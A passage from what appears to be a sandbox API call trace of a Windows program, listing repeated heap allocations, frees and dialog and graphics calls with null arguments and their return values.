(HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.790] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.790] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.790] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.790] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.790] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.790] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.790] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.790] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.790] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193102278, cy=27, fuLoad=0x0) returned 0x0 [0026.790] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.791] GetLastError () returned 0x715 [0026.791] SetLastError (dwErrCode=0x715) [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.791] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.791] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.791] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.791] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.791] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.791] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.792] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.792] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.792] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.792] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.792] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.792] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.792] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.792] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.793] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.793] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.793] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.793] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.793] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.793] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.793] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.793] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.793] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.793] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.794] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.794] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.794] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.794] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.794] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.794] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.794] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193083333, cy=27, fuLoad=0x0) returned 0x0 [0026.794] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.794] GetLastError () returned 0x715 [0026.794] SetLastError (dwErrCode=0x715) [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.794] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.794] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.794] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.794] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.795] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.795] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.795] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.795] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.795] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.795] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.795] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.795] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.796] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.796] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.796] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.796] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.796] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.796] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.796] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.796] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.796] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.796] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.797] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.797] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.797] CreateDialogParamA (hInstance=0x400000, 